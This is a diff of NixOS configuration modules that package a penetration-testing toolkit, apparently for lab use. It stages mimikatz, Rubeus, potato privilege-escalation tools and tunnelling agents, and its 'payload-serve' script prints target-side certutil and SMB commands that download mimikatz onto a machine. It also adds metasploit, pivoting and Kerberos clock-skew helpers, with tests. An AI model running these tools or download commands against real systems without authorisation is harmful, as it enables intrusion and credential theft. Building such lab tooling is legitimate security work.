+ + # The potato family. Which one works depends on the Windows build, so + # they all ship; GodPotato-NET* pick themselves by .NET version. + for f in ${p.potatoes}/*.exe; do + install -m0644 "$f" $out/windows/amd64/privesc/potato/ + done + + # The compiled C# arsenal, newest framework, 64-bit: Rubeus, SharpHound, + # Seatbelt, Certify, Whisker, SharpUp, SharpView, StandIn, SweetPotato, + # SharpPrinter, DeployPrinterNightmare… + cp -r ${p.sharpcollection}/NetFramework_4.7_x64/. $out/windows/amd64/ad/ + chmod -R u+w $out/windows/amd64/ad + + # Every framework/arch, for when 4.7 x64 will not run on the target. + mkdir -p $out/sharpcollection + cp -r ${p.sharpcollection}/. $out/sharpcollection/ + chmod -R u+w $out/sharpcollection + + ${lib.optionalString wantX86 '' + ##### Windows x86 ################################################### + install -m0644 ${mimikatzNew}/share/windows/mimikatz/Win32/mimikatz.exe \ + $out/windows/x86/creds/mimikatz-${mimikatzNewVer}.exe + ln -s mimikatz-${mimikatzNewVer}.exe $out/windows/x86/creds/mimikatz.exe + install -m0644 ${p.mimikatzOld}/Win32/mimikatz.exe \ + $out/windows/x86/creds/mimikatz-2.2.0-20210810.exe + install -m0644 ${mimikatzNew}/share/windows/mimikatz/Win32/mimilove.exe \ + $out/windows/x86/creds/ + install -m0644 ${p.peass}/windows/winPEASx86.exe $out/windows/x86/privesc/ + install -m0644 ${p.potatoes}/PrintSpoofer32.exe $out/windows/x86/privesc/ + install -m0644 ${p.potatoes}/GodPotato-NET2.exe $out/windows/x86/privesc/ + cp -r ${p.sharpcollection}/NetFramework_4.7_x86/. $out/windows/x86/ + chmod -R u+w $out/windows/x86 + ''} + + ##### Linux ########################################################### + pick $out/linux/amd64/agents/ligolo-agent ${pkgs.ligolo-ng} 'ligolo-agent' + pick $out/linux/amd64/agents/chisel ${pkgs.chisel} 'chisel' + pick $out/linux/arm64/agents/ligolo-agent ${armLigolo} 'ligolo-agent' 'agent' + pick $out/linux/arm64/agents/chisel ${armChisel} 'chisel' + install -m0755 ${p.peass}/linux/linpeas.sh $out/linux/amd64/privesc/ + install -m0755 ${p.lse}/share/lse/lse.sh $out/linux/amd64/privesc/ + install -m0755 ${lib.getExe pkgs.pspy} $out/linux/amd64/privesc/pspy + + ##### macOS ########################################################### + pick $out/macos/arm64/agents/ligolo-agent ${macLigolo} 'ligolo-agent' 'agent' + pick $out/macos/arm64/agents/chisel ${macChisel} 'chisel' + + ##### Scripts ######################################################### + # PowerView/PowerUp and the rest of PowerSploit, from nixpkgs. + cp -r ${pkgs.powersploit}/share/powersploit/. $out/scripts/ad/ 2>/dev/null \ + || cp -r ${pkgs.powersploit}/. $out/scripts/ad/ + chmod -R u+w $out/scripts/ad + cp -r ${p.nishang}/share/nishang $out/scripts/ad/nishang + chmod -R u+w $out/scripts/ad/nishang + + # Printer-bug family. printerbug.py coerces auth over MS-RPRN; the + # SpoolSample.exe equivalent is SharpPrinter.exe in windows/amd64/ad. + install -m0755 ${p.krbrelayx}/share/krbrelayx/printerbug.py $out/scripts/printer/ + install -m0644 ${p.printnightmare}/share/printnightmare/CVE-2021-1675.py $out/scripts/printer/ + + install -m0755 ${p.peass}/linux/linpeas.sh $out/scripts/privesc/ + install -m0755 ${p.lse}/share/lse/lse.sh $out/scripts/privesc/ + install -m0644 ${p.efspotatoSource}/EfsPotato.cs $out/scripts/privesc/ + + # A map of the tree, so `payload-serve --list` is readable and a + # directory listing on the target side makes sense. + ${pkgs.tree}/bin/tree -a --noreport $out > $out/INVENTORY.txt || true + ''; + mkServe = + { pkgs, tree }: + pkgs.writeShellScriptBin "payload-serve" '' + set -uo pipefail + PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.iproute2 pkgs.gawk pkgs.gnugrep ]}:$PATH + TREE=${tree} + + # Review Focus #2: bind to the tunnel, never to everything. Serving the + # payload tree on a café network because the VPN was down is a real way + # to hand your toolkit to strangers, so this fails closed. + tun_addr() { + local i a + for i in $(ip -br link show type tun 2>/dev/null | awk '{print $1}'); do + a=$(ip -4 -br addr show dev "$i" 2>/dev/null | awk '{print $3}' | cut -d/ -f1) + [ -n "''${a:-}" ] && { printf '%s' "$a"; return 0; } + done + return 1 + } + + usage() { echo "usage: payload-serve [port] | --smb | --list"; } + + case "''${1:-}" in + --list) exec cat $TREE/INVENTORY.txt ;; + -h|--help) usage; exit 0 ;; + esac + + if ! addr=$(tun_addr); then + echo "payload-serve: no VPN interface has an address — refusing to start." >&2 + echo "payload-serve: it would otherwise bind every interface and expose" >&2 + echo " $TREE to the local network." >&2 + echo "payload-serve: bring the tunnel up first: htbvpn up <profile>" >&2 + exit 2 + fi + + case "''${1:-}" in + --smb) + echo "payload-serve: SMB share 'share' on $addr ($TREE)" + echo " target: copy \\\\$addr\\share\\windows\\amd64\\creds\\mimikatz.exe ." + exec ${pkgs.python3Packages.impacket}/bin/smbserver.py \ + -ip "$addr" -smb2support share "$TREE" ;; + ""|[0-9]*) + port="''${1:-80}" + echo "payload-serve: http://$addr:$port/ ($TREE)" + echo " target: certutil -urlcache -f http://$addr:$port/windows/amd64/creds/mimikatz.exe mimikatz.exe" + exec ${pkgs.python3}/bin/python3 -m http.server "$port" --bind "$addr" --directory "$TREE" ;; + *) usage >&2; exit 2 ;; + esac + ''; +in +{ + flake.nixosModules.pentest-payloads = + { config, pkgs, lib, ... }: + let + cfg = config.daemon.pentest; + on = cfg.enable && cfg.payloads.enable; + tree = mkTree { + inherit pkgs; + windowsArches = cfg.payloads.windowsArches; + }; + payload-serve = mkServe { inherit pkgs tree; }; + + in + { + options.daemon.pentest.payloads.enable = + lib.mkEnableOption "the staged payload tree and payload-serve" // { default = true; }; + + config = lib.mkIf on { + environment.systemPackages = [ payload-serve ]; + environment.sessionVariables.PAYLOADS = lib.mkForce "${tree}"; + }; + }; + + perSystem = + { pkgs, ... }: + { + checks.pentest-payloads = + let + tree = mkTree { + inherit pkgs; + windowsArches = [ "amd64" "x86" ]; + }; + # The same script the system installs, from the same helper, so the + # fail-closed behaviour under test is the real one. + serve = [ (mkServe { inherit pkgs tree; }) ]; + in + pkgs.runCommand "pentest-payloads-check" + { nativeBuildInputs = [ pkgs.file ] ++ serve; } + '' + set -euo pipefail + T=${tree} + + # 1. Structure: every path the cheat card promises exists. + for f in \ + windows/amd64/creds/mimikatz.exe \ + windows/amd64/creds/mimikatz-2.2.0-20210810.exe \ + windows/amd64/agents/ligolo-agent.exe \ + windows/amd64/agents/chisel.exe \ + windows/amd64/privesc/winPEASx64.exe \ + windows/amd64/privesc/potato/JuicyPotato.exe \ + windows/amd64/privesc/potato/GodPotato-NET4.exe \ + windows/amd64/privesc/potato/PrintSpoofer64.exe \ + windows/amd64/ad/Rubeus.exe \ + windows/amd64/ad/SharpHound.exe \ + windows/amd64/ad/Seatbelt.exe \ + windows/amd64/ad/Certify.exe \ + windows/amd64/ad/SweetPotato.exe \ + windows/amd64/ad/SharpPrinter.exe \ + windows/x86/creds/mimikatz.exe \ + linux/amd64/agents/ligolo-agent \ + linux/amd64/agents/chisel \ + linux/amd64/privesc/linpeas.sh \ + linux/amd64/privesc/pspy \ + linux/arm64/agents/ligolo-agent \ + macos/arm64/agents/ligolo-agent \ + scripts/printer/printerbug.py \ + scripts/printer/CVE-2021-1675.py \ + scripts/privesc/EfsPotato.cs \ + scripts/ad/nishang \ + INVENTORY.txt + do + [ -e "$T/$f" ] || { echo "payloads: missing $f" >&2; exit 1; } + done + + # 2. The binaries are really for the architecture they claim. + expect() { # expect <file> <substring of `file` output> + local got; got=$(file -bL "$T/$1") + case "$got" in + *"$2"*) ;; + *) echo "payloads: $1 is '$got', expected *$2*" >&2; exit 1 ;; + esac + } + expect windows/amd64/creds/mimikatz.exe 'PE32+' + expect windows/amd64/agents/ligolo-agent.exe 'PE32+' + expect windows/amd64/agents/chisel.exe 'PE32+' + expect windows/x86/creds/mimikatz.exe 'PE32 ' + expect linux/amd64/agents/ligolo-agent 'ELF 64-bit' + expect linux/arm64/agents/ligolo-agent 'ARM aarch64' + + # 3. Review Focus #2: with no tun device (there is none in this + # sandbox) payload-serve must refuse, and say how to fix it. + # NB: not a variable called `out` — that is the derivation's own + # output path, and clobbering it makes the final redirect ambiguous. + if serve_out=$(payload-serve 8000 2>&1); then + echo "payloads: payload-serve started with no VPN up — it must not" >&2 + exit 1 + fi + printf '%s' "$serve_out" | grep -q 'refusing to start' \ + || { echo "payloads: refusal did not explain itself: $serve_out" >&2; exit 1; } + printf '%s' "$serve_out" | grep -q 'htbvpn up' \ + || { echo "payloads: refusal did not name htbvpn: $serve_out" >&2; exit 1; } + + echo "pentest-payloads: tree, architectures and fail-closed serve all ok" > $out + ''; + }; +} diff --git a/modules/features/pentest/pivot.nix b/modules/features/pentest/pivot.nix @@ -0,0 +1,55 @@ +# modules/features/pentest/pivot.nix — getting onto the next subnet. +# +# ligolo-ng is the one to reach for first: it gives a real TUN interface, so +# every tool works unmodified instead of being wrapped in proxychains. +# `ligolo-proxy` runs here, `ligolo-agent` goes on the target ($PAYLOADS has it +# built for Windows, Linux and macOS — see payloads.nix). +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "pivot"; + description = "tunnelling, port forwarding and proxying"; + + packages = pkgs: with pkgs; [ + ligolo-ng # ligolo-proxy, ligolo-agent + chisel + socat + # Must be `proxychains`, matching programs.proxychains.package's default: + # pkgs.proxychains and pkgs.proxychains-ng BOTH ship bin/proxychains4, and + # two different paths owning one name is a profile collision. Listed here + # as well as enabled below so the category check can see the binary. + proxychains + sshuttle + gost + frp # frpc, frps + iodine + pingtunnel + stunnel + wireguard-tools # wg + openvpn + ]; + + expectedBins = [ + "ligolo-proxy" "ligolo-agent" "chisel" "socat" "sshuttle" + "gost" "frpc" "frps" "iodine" "stunnel" "wg" "openvpn" + "proxychains4" # from programs.proxychains below + ]; + + extraConfig = { ... }: { + # /etc is read-only on NixOS, so the Kali habit of editing + # /etc/proxychains.conf by hand does not work. This option is what makes + # proxychains usable at all: it generates the file from Nix. + programs.proxychains = { + enable = true; + proxyDNS = true; + quietMode = false; + # ligolo-ng needs no proxy at all; this default is for the chisel/ssh -D + # case, where 1080 is the conventional local SOCKS port. + proxies.socks = { + enable = true; + type = "socks5"; + host = "127.0.0.1"; + port = 1080; + }; + }; + }; +} diff --git a/modules/features/pentest/python.nix b/modules/features/pentest/python.nix @@ -7,30 +7,109 @@ packages = pkgs: let - aliases = (import ./_aliases.nix { inherit lib pkgs; }) { - package = pkgs.python3Packages.impacket; - prefix = "impacket"; - reservedFrom = [ pkgs.coreutils pkgs.iputils pkgs.samba pkgs.util-linux ]; - extraReserved = [ "mimikatz" ]; - }; + inherit (import ./_impacket.nix { inherit lib pkgs; }) impacket aliases; + + # Libraries, for importing. Applications are NOT installed from this env: + # python3.withPackages links every package's console scripts into the + # env's bin/, so an app that is ALSO installed standalone (certipy in + # ad.nix, bloodhound-py, pypykatz…) gives two store paths owning one + # name, which is a profile collision that stops the system building. + # checks.pentest-collisions found exactly that, twice. + env = pkgs.python3.withPackages (ps: with ps; [ + impacket + certipy + dploot + masky + ldapdomaindump + pypykatz + bloodyad + lsassy + minikerberos + aiowinreg + dnspython + scapy + pwntools + pycryptodomex + requests + rich + ]); + + # Spec C2's discovery command: `impacket` alone lists the 70 scripts + # (through fzf when there is a terminal), `impacket <name>` runs one. + # Tab-completing `impacket-` does most of this already, but this is the + # entry point when you cannot remember whether it is GetUserSPNs or + # getuserspns. + impacket-cmd = pkgs.writeShellScriptBin "impacket" '' + set -uo pipefail + names() { + ${pkgs.coreutils}/bin/ls -1 ${aliases}/bin \ + | ${pkgs.gnugrep}/bin/grep '^impacket-' \ + | ${pkgs.gnused}/bin/sed 's/^impacket-//' \ + | ${pkgs.coreutils}/bin/sort + } + case "''${1:-}" in + -l|--list) names; exit 0 ;; + -h|--help) + echo "usage: impacket [<script>] [args…] (no script: pick one)" + echo " impacket --list" + echo " every script is also a command: impacket-<script>" + exit 0 ;; + esac + if [ "$#" -eq 0 ]; then + if [ -t 0 ] && [ -t 1 ]; then + sel=$(names | ${pkgs.fzf}/bin/fzf --prompt='impacket › ' \ + --preview='${aliases}/bin/impacket-{} --help 2>&1 | head -40' \ + --preview-window='right,65%,border-left,wrap') || exit 0 + [ -n "''${sel:-}" ] || exit 0 + exec ${aliases}/bin/impacket-"$sel" + fi + names + exit 0 + fi + script="$1"; shift + if [ ! -x "${aliases}/bin/impacket-$script" ]; then + echo "impacket: no script '$script'" >&2 + echo "try: impacket --list" >&2 + exit 2 + fi + exec ${aliases}/bin/impacket-"$script" "$@" + ''; + + # So only ONE name is exported from the env: the interpreter. Any offensive script you + # download runs with `pentest-python foo.py` and its imports resolve, with + # no venv and no collisions. + pentest-python = pkgs.runCommand "pentest-python" + { + meta = { + description = "Python with the offensive library set importable"; + mainProgram = "pentest-python"; + }; + } + '' + mkdir -p $out/bin + ln -s ${env}/bin/python3 $out/bin/pentest-python + ''; in [ - (pkgs.python3.withPackages (ps: with ps; [ - impacket certipy dploot masky bloodhound ldapdomaindump - pypykatz bloodyad lsassy minikerberos aiowinreg dnspython - scapy pwntools pycryptodomex requests rich - ])) - pkgs.python3Packages.impacket - # Standalone, not in the shared env: pywerview is the one tool that pulls - # ldap3-bleeding-edge-2.10.1.1338 while every other tool here pulls - # ldap3-2.9.1, and buildEnv cannot hold both. Its own wrapper carries the - # bleeding-edge copy, so `pywerview` works; only `pentest-python -c - # "import pywerview"` does not. This is the fallback spec C2 describes. + pentest-python + impacket-cmd # `impacket` / `impacket --list` + impacket # the 70 example scripts, as `secretsdump.py` etc. + aliases # ...and as `secretsdump`, collision-guarded + # Standalone, not in the env: pywerview is the one tool pulling + # ldap3-bleeding-edge while everything else pulls ldap3-2.9.1, and + # buildEnv cannot hold both. Spec C2's documented fallback. pkgs.python3Packages.pywerview - aliases ]; - expectedBins = [ "secretsdump.py" "secretsdump" "GetUserSPNs" "pywerview" ]; + expectedBins = [ + "pentest-python" + "secretsdump.py" # impacket's own name + "secretsdump" # the suffix-free alias + "GetUserSPNs" + "impacket" # the discovery command + "impacket-split" # held back from the bare name, reachable prefixed + "pywerview" + ]; # Review Focus #1. environment.systemPackages merges every package into ONE # profile with buildEnv, so two packages owning bin/split is a collision, not @@ -42,12 +121,7 @@ probe = pkgs.buildEnv { name = "pentest-python-profile-probe"; paths = [ - ((import ./_aliases.nix { inherit lib pkgs; }) { - package = pkgs.python3Packages.impacket; - prefix = "impacket"; - reservedFrom = [ pkgs.coreutils pkgs.iputils pkgs.samba pkgs.util-linux ]; - extraReserved = [ "mimikatz" ]; - }) + (import ./_impacket.nix { inherit lib pkgs; }).aliases pkgs.coreutils pkgs.iputils pkgs.samba diff --git a/modules/features/pentest/reversing.nix b/modules/features/pentest/reversing.nix @@ -0,0 +1,33 @@ +# modules/features/pentest/reversing.nix — binary analysis and exploit dev. +# Off by default. `daemon.pentest.reversing.enable = true;` +# +# The standalone `checksec` package is deliberately NOT here: pwntools already +# installs bin/checksec, and two packages owning the same name is a profile +# collision that stops the system building (same class of bug as the impacket +# aliases — see _aliases.nix). pwntools' version is the one you get. +# +# ghidra and cutter are windowed; they live in gui.nix. +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "reversing"; + description = "disassembly, decompilation and exploit development"; + default = false; + + packages = pkgs: with pkgs; [ + radare2 # `r2` + rizin + gef # gdb extension + gdb + pwntools # pwn, asm, disasm, cyclic, checksec, … + one_gadget + pwninit + flare-floss # `floss` + patchelf + binutils + ]; + + expectedBins = [ + "r2" "rizin" "gef" "gdb" "asm" "disasm" "cyclic" "checksec" + "one_gadget" "pwninit" "floss" "patchelf" "objdump" "readelf" + ]; +} diff --git a/modules/features/pentest/shells.nix b/modules/features/pentest/shells.nix @@ -0,0 +1,32 @@ +# modules/features/pentest/shells.nix — getting a shell and keeping it, plus +# moving files onto the target. +# +# freerdp provides `xfreerdp`, `sdl-freerdp` and `wlfreerdp`. (An earlier +# version of this module shipped an `xfreerdp` wrapper around sdl-freerdp, +# written on the mistaken belief that FreeRDP 3 had dropped xfreerdp — it has +# not. The wrapper then collided with the real binary, which is how +# checks.pentest-collisions caught it.) +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "shells"; + description = "payloads, listeners, RDP, file transfer"; + + packages = pkgs: + (with pkgs; [ + metasploit # msfconsole, msfvenom + msfpc + powershell # `pwsh` + pwncat + rlwrap + updog + miniserve + freerdp # xfreerdp, sdl-freerdp, wlfreerdp + remmina + upx + ]); + + expectedBins = [ + "msfconsole" "msfvenom" "msfpc" "pwsh" "pwncat" "rlwrap" + "updog" "miniserve" "sdl-freerdp" "wlfreerdp" "xfreerdp" "upx" + ]; +} diff --git a/modules/features/pentest/time.nix b/modules/features/pentest/time.nix @@ -0,0 +1,283 @@ +# modules/features/pentest/time.nix — clock skew, on purpose and reversibly. +# +# Kerberos rejects a ticket request when the clock is more than five minutes +# off the KDC, so against an AD box the first fix is usually to match the DC's +# clock. On NixOS that fights the system: systemd-timesyncd is enabled by +# default and will quietly put the clock back. +# +# `htb-time` is the root half (this file); `htbtime` is the user-facing half in +# modules/home/htb.nix, exactly as fan-ec/fan are split in +# modules/hosts/laptop/fan-cli.nix and modules/home/fan.nix. +# +# htb-time <host> record what time sync looks like now, turn it off, and +# step the clock to <host> +# htb-time off put back precisely what was recorded, then resync +# htb-time status current offset and whether we are holding a skew +# +# Two things it refuses to do quietly: +# * leave you wondering why TLS broke. A large skew makes certificates look +# not-yet-valid or expired, so `nix`, `git` and anything HTTPS start failing. +# It says so, every time. +# * leave the clock unmanaged. If the state file is missing or unreadable when +# `off` runs, it restores the NixOS default (NTP on) rather than doing +# nothing — and a reboot would do that anyway, so a forgotten `off` cannot +# strand the machine. +{ lib, self, ... }: +{ + flake.nixosModules.pentest-time = + { config, pkgs, lib, ... }: + let + on = config.daemon.pentest.enable; + + htb-time = pkgs.writeShellScriptBin "htb-time" '' + set -uo pipefail + [ "$(id -u)" = 0 ] || { echo "htb-time: run as root (htbtime does that for you)" >&2; exit 1; } + PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.systemd pkgs.gnugrep pkgs.gawk pkgs.gnused ]}:$PATH + + NTPDATE=${pkgs.ntp}/bin/ntpdate + SNTP=${pkgs.ntp}/bin/sntp + CHRONYD=${pkgs.chrony}/bin/chronyd + DIR=/var/lib/htb-time + STATE=$DIR/state + + # Units that would fight a manual clock. Only ones that exist are touched. + UNITS="systemd-timesyncd.service chronyd.service chrony.service ntpd.service" + + unit_exists() { systemctl cat "$1" >/dev/null 2>&1; } + ntp_enabled() { timedatectl show -p NTP --value 2>/dev/null || echo unknown; } + + save_state() { + mkdir -p "$DIR" + { + echo "ntp=$(ntp_enabled)" + for u in $UNITS; do + if unit_exists "$u"; then + echo "unit=$u:$(systemctl is-active "$u" 2>/dev/null || echo inactive)" + fi + done + } > "$STATE" + } + + stop_competitors() { + for u in $UNITS; do + if unit_exists "$u" && systemctl is-active --quiet "$u" 2>/dev/null; then + echo " stopping $u" + systemctl stop "$u" || true + fi + done + timedatectl set-ntp false 2>/dev/null || true + } + + warn_tls() { + cat >&2 <<'EOF' + + htb-time: the clock is now deliberately wrong for this machine. + TLS certificate validation compares against it, so `nix`, `git`, curl + and anything else over HTTPS may start failing while this is held. + Put it back with: htbtime off + EOF + } + + offset_against() { # best-effort, read-only + $SNTP "$1" 2>/dev/null | ${pkgs.gnugrep}/bin/grep -oE '^[+-][0-9]+\.[0-9]+' | head -1 + } + + case "''${1:-status}" in + off) + if [ ! -r "$STATE" ]; then + # Review Focus #3: never leave the clock unmanaged. + echo "htb-time: no saved state at $STATE (nothing to restore, or it was lost)." >&2 + echo "htb-time: restoring the NixOS default instead: NTP on." >&2 + timedatectl set-ntp true 2>/dev/null || true + unit_exists systemd-timesyncd.service && systemctl start systemd-timesyncd.service || true + echo "htb-time: NTP enabled, clock is managed again." + exit 0 + fi + + want_ntp=$(${pkgs.gnugrep}/bin/grep -m1 '^ntp=' "$STATE" | cut -d= -f2) + if [ "$want_ntp" = "yes" ] || [ -z "''${want_ntp:-}" ] || [ "$want_ntp" = "unknown" ]; then + timedatectl set-ntp true 2>/dev/null || true + else + timedatectl set-ntp false 2>/dev/null || true + fi + + ${pkgs.gnugrep}/bin/grep '^unit=' "$STATE" 2>/dev/null | sed 's/^unit=//' | while IFS=: read -r u st; do + if [ "$st" = "active" ]; then + unit_exists "$u" && systemctl start "$u" 2>/dev/null || true + fi + done + + rm -f "$STATE" + echo "htb-time: restored (NTP=$(ntp_enabled)); the clock is managed again." + exit 0 + ;; + + status) + if [ -r "$STATE" ]; then + echo "htb-time: HOLDING a manual skew (state $STATE)" + sed 's/^/ /' "$STATE" + echo " release with: htbtime off" + else + echo "htb-time: not holding a skew" + fi + echo " NTP=$(ntp_enabled) now=$(date -Is)" + # Explicit: a consumer like `htb-time status | grep -q x` exits as + # soon as it matches, so the last echo takes EPIPE and would + # otherwise become this script's exit status. + exit 0 + ;; + + -h|--help) + echo "usage: htb-time <host> | off | status" + ;; + + *) + target="$1" + echo "htb-time: syncing this machine's clock to $target" + [ -r "$STATE" ] || save_state + stop_competitors + + if $NTPDATE -u "$target" 2>&1 | sed 's/^/ ntpdate: /'; then + echo "htb-time: clock stepped to $target (now $(date -Is))" + warn_tls + exit 0 + fi + + echo " ntpdate failed; trying chronyd -q" >&2 + if $CHRONYD -q "server $target iburst maxdelay 10" 2>&1 | sed 's/^/ chronyd: /'; then + echo "htb-time: clock stepped to $target (now $(date -Is))" + warn_tls + exit 0 + fi + + # Deliberately leaves NTP off (spec C6: do not silently half-apply), + # but says so loudly and names the way back. + echo "htb-time: could not get the time from $target." >&2 + echo "htb-time: NTP is still DISABLED and the state is saved." >&2 + echo "htb-time: either retry, or run 'htbtime off' to put sync back." >&2 + exit 1 + ;; + esac + ''; + in + { + config = lib.mkIf on { + environment.systemPackages = [ htb-time pkgs.ntp pkgs.chrony ]; + systemd.tmpfiles.rules = [ "d /var/lib/htb-time 0755 root root - -" ]; + + # Same shape as fan-cli.nix: one fixed store script, wheel only. + security.sudo.extraRules = [ + { + groups = [ "wheel" ]; + commands = [ + { command = "/run/current-system/sw/bin/htb-time"; options = [ "NOPASSWD" ]; } + ]; + } + ]; + }; + }; + + perSystem = + { pkgs, ... }: + { + checks.pentest-time-vm = pkgs.testers.runNixOSTest { + name = "pentest-time"; + + nodes = { + # Stands in for the DC whose clock we chase. chrony rather than + # ntpd: ntpd with a local-clock fudge needs minutes before it will + # answer as authoritative, so ntpdate finds "no server suitable" and + # the test hangs. chrony's `local stratum 10` serves immediately. + dc = { + services.chrony = { + enable = true; + extraConfig = '' + # `local stratum 10` makes chronyd answer as synchronised even + # though this node has no upstream source, which is the whole + # point of a stand-in DC. Without it ntpdate reports "no server + # suitable for synchronization". NOT `orphan`: that only + # activates once every other source is unreachable, which left + # the server silent. + local stratum 10 + allow all + ''; + }; + networking.firewall.allowedUDPPorts = [ 123 ]; + }; + + machine = { lib, ... }: { + imports = [ + self.nixosModules.pentest-options + self.nixosModules.pentest-time + ]; + daemon.pentest.enable = true; + # The test driver leaves time sync off, which would make the + # baseline NTP=no and the round-trip assertion vacuous. The real + # machine has timesyncd on, so say so explicitly: that is the + # state htb-time has to record and put back. + # mkForce: the NixOS test driver switches time sync OFF for its + # nodes, which is exactly the state this test must not start from. + services.timesyncd.enable = lib.mkForce true; + _module.args.user = "daemonsec"; + users.users.daemonsec = { + isNormalUser = true; + extraGroups = [ "wheel" ]; + }; + }; + }; + + testScript = '' + start_all() + dc.wait_for_unit("chronyd.service") + machine.wait_for_unit("multi-user.target") + + # Do not proceed until the DC will actually answer, otherwise a + # failure here is indistinguishable from a bug in htb-time. + machine.wait_until_succeeds( + "${pkgs.ntp}/bin/sntp -t 2 dc >/dev/null 2>&1 " + "|| ${pkgs.ntp}/bin/ntpdate -q -t 2 dc >/dev/null 2>&1", + timeout=120, + ) + + # Baseline: NixOS manages the clock. + machine.wait_for_unit("systemd-timesyncd.service") + before = machine.succeed("timedatectl show -p NTP --value").strip() + assert before == "yes", f"expected NTP managed at boot, got {before!r}" + machine.succeed("htb-time status | grep -q 'not holding a skew'") + + # Hold a skew against the DC. + machine.succeed("htb-time dc") + machine.succeed("test -r /var/lib/htb-time/state") + held = machine.succeed("timedatectl show -p NTP --value").strip() + assert held == "no", f"NTP should be off while holding a skew, got {held!r}" + machine.fail("systemctl is-active systemd-timesyncd.service") + machine.succeed("htb-time status | grep -q HOLDING") + + # Release: must match the baseline exactly, and clear the state. + machine.succeed("htb-time off") + after = machine.succeed("timedatectl show -p NTP --value").strip() + assert after == before, f"off must restore NTP={before!r}, got {after!r}" + machine.fail("test -e /var/lib/htb-time/state") + + # Review Focus #3: `off` with the state file gone must still leave the + # clock managed, and must not fail. + machine.succeed("htb-time dc") + machine.succeed("rm -f /var/lib/htb-time/state") + out = machine.succeed("htb-time off 2>&1") + assert "NTP on" in out or "managed again" in out, out + recovered = machine.succeed("timedatectl show -p NTP --value").strip() + assert recovered == "yes", f"expected NTP restored to yes, got {recovered!r}" + + # An unreachable host fails loudly, keeps the state, and names the way back. + machine.succeed("htb-time off || true") + err = machine.fail("htb-time 192.0.2.123 2>&1") + assert "htbtime off" in err, err + machine.succeed("test -r /var/lib/htb-time/state") + machine.succeed("htb-time off") + + # The user half needs no password. + machine.succeed("su -l daemonsec -c 'sudo -n htb-time status'") + ''; + }; + }; +} diff --git a/modules/features/pentest/update.nix b/modules/features/pentest/update.nix @@ -0,0 +1,168 @@ +# modules/features/pentest/update.nix — `pentest-update`: move the pins in +# _pkgs/default.nix forward, deliberately. +# +# pentest-update report what is newer upstream (changes nothing) +# pentest-update --apply rewrite the revs and hashes in place +# +# It never commits, and it never runs during a rebuild: pinning is a decision, +# not a side effect. After --apply, read `jj diff` and rebuild — if an upstream +# renamed an asset, payloads.nix's `pick` fails the build with the name it +# could not find, which is the point of pinning in the first place. +{ ... }: +{ + flake.nixosModules.pentest-update = + { config, pkgs, lib, ... }: + let + on = config.daemon.pentest.enable; + + script = pkgs.writeText "pentest-update.py" '' + """Re-pin modules/features/pentest/_pkgs/default.nix.""" + import json, os, re, subprocess, sys, urllib.error, urllib.request + + APPLY = "--apply" in sys.argv + ROOT = os.environ.get("NIXDAEMON", os.path.expanduser("~/NixDaemon")) + PKGS = os.path.join(ROOT, "modules/features/pentest/_pkgs/default.nix") + + def api(path): + req = urllib.request.Request( + "https://api.github.com" + path, + headers={"Accept": "application/vnd.github+json", + "User-Agent": "pentest-update"}, + ) + tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN") + if tok: + req.add_header("Authorization", "Bearer " + tok) + with urllib.request.urlopen(req, timeout=30) as r: + return json.load(r) + + def prefetch_unpacked(url): + h = subprocess.run(["nix-prefetch-url", "--unpack", "--type", "sha256", url], + capture_output=True, text=True).stdout.strip().splitlines() + if not h: + return None + return subprocess.run(["nix", "hash", "convert", "--hash-algo", "sha256", + "--to", "sri", h[-1]], + capture_output=True, text=True).stdout.strip() + + def prefetch_file(url): + out = subprocess.run(["nix", "store", "prefetch-file", "--json", url], + capture_output=True, text=True).stdout + try: + return json.loads(out)["hash"] + except Exception: + return None + + if not os.path.exists(PKGS): + sys.exit("pentest-update: cannot find " + PKGS + " (set $NIXDAEMON)") + + text = open(PKGS).read() + original = text + changes, problems = [], [] + + # fetchFromGitHub pins: owner / repo / rev / hash, in that order. + gh = re.compile( + r'owner\s*=\s*"(?P<owner>[^"]+)";\s*\n\s*' + r'repo\s*=\s*"(?P<repo>[^"]+)";\s*\n\s*' + r'rev\s*=\s*"(?P<rev>[0-9a-f]{40})";\s*\n\s*' + r'hash\s*=\s*"(?P<hash>sha256-[^"]+)";') + + for m in list(gh.finditer(text)): + slug = m.group("owner") + "/" + m.group("repo") + try: + head = api("/repos/" + slug + "/commits/HEAD")["sha"] + except (urllib.error.URLError, urllib.error.HTTPError, KeyError) as e: + problems.append(slug + ": " + str(e)) + continue + if head == m.group("rev"): + print(" up to date " + slug + " @ " + head[:12]) + continue + print(" NEWER " + slug + ": " + m.group("rev")[:12] + " -> " + head[:12]) + if not APPLY: + continue + new_hash = prefetch_unpacked( + "https://github.com/" + slug + "/archive/" + head + ".tar.gz") + if not new_hash: + problems.append(slug + ": prefetch failed, left alone") + continue + block = m.group(0) + text = text.replace( + block, + block.replace(m.group("rev"), head).replace(m.group("hash"), new_hash), + 1) + changes.append(slug) + + # Release-asset pins: .../releases/download/<tag>/<asset> + rel = re.compile( + r'https://github\.com/(?P<slug>[^/]+/[^/]+)/releases/download/' + r'(?P<tag>[^/"]+)/(?P<asset>[^"/]+)') + seen = set() + for m in rel.finditer(original): + slug, tag = m.group("slug"), m.group("tag") + if (slug, tag) in seen: + continue + seen.add((slug, tag)) + try: + latest = api("/repos/" + slug + "/releases/latest")["tag_name"] + except (urllib.error.URLError, urllib.error.HTTPError, KeyError) as e: + problems.append(slug + ": " + str(e)) + continue + if latest == tag: + print(" up to date " + slug + " release " + tag) + continue + print(" NEWER " + slug + " release: " + tag + " -> " + latest) + if not APPLY: + continue + # Re-point every asset of this slug/tag, hashing each new file. + ok = True + for a in {mm.group("asset") for mm in rel.finditer(original) + if mm.group("slug") == slug and mm.group("tag") == tag}: + url = ("https://github.com/" + slug + "/releases/download/" + + latest + "/" + a) + h = prefetch_file(url) + if not h: + problems.append(slug + "/" + a + ": not in " + latest + ", left alone") + ok = False + continue + old_url = ("https://github.com/" + slug + "/releases/download/" + + tag + "/" + a) + old_block = re.search( + re.escape(old_url) + r'";\s*\n\s*hash\s*=\s*"(sha256-[^"]+)"', text) + if old_block: + text = text.replace(old_block.group(1), h, 1) + text = text.replace(old_url, url) + if ok: + 